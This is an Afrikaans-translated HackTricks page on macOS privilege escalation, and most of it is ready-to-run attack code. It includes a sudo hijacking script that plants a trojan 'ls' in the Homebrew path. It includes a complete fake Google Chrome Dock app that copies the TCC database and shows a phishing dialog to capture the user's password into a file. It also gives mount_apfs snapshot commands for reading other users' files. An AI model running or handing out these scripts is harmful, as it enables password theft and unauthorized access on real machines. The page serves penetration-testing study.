macOS Privilege Escalation

Reading time: 8 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

TCC Privilege Escalation

As jy hier gekom het op soek na TCC privilege escalation, gaan na:

macOS TCC

Linux Privesc

Neem asseblief kennis dat die meeste van die truuks oor privilege escalation wat Linux/Unix raak, ook MacOS masjiene sal raak. So kyk na:

Linux Privilege Escalation

User Interaction

Sudo Hijacking

Jy kan die oorspronklike Sudo Hijacking tegniek binne die Linux Privilege Escalation pos vind.

E however, macOS onderhou die gebruiker se PATH wanneer hy sudo uitvoer. Dit beteken dat 'n ander manier om hierdie aanval te bereik, sou wees om ander binaries te kap wat die slagoffer steeds sal uitvoer wanneer sudo gedraai word:

bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Let wel dat 'n gebruiker wat die terminal gebruik, hoogs waarskynlik Homebrew geïnstalleer het. Dit maak dit moontlik om binaries in /opt/homebrew/bin te kap.

Dock Imitasie

Deur sommige sosiale ingenieurswese te gebruik, kan jy byvoorbeeld Google Chrome imiteer binne die dock en eintlik jou eie skrip uitvoer:

Sommige voorstelle:

  • Kontroleer in die Dock of daar 'n Chrome is, en in daardie geval verwyder daardie inskrywing en voeg die valse Chrome-inskrywing in dieselfde posisie in die Dock-array by.
bash
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - Wortel Privilege Escalation

CVE-2020-9771 - mount_apfs TCC omseiling en privilege escalasie

Enige gebruiker (selfs onprivilegieerde) kan 'n tydmasjien-snapshot skep en monteer en AL die lêers van daardie snapshot toegang.
Die enige privilegie wat benodig word, is dat die toepassing wat gebruik word (soos Terminal) Volledige Skyf Toegang (FDA) toegang moet hê (kTCCServiceSystemPolicyAllfiles) wat deur 'n admin toegestaan moet word.

bash
# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

'n Meer gedetailleerde verduideliking kan gevind word in die oorspronklike verslag.

Sensitiewe Inligting

Dit kan nuttig wees om voorregte te verhoog:

macOS Sensitive Locations & Interesting Daemons

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks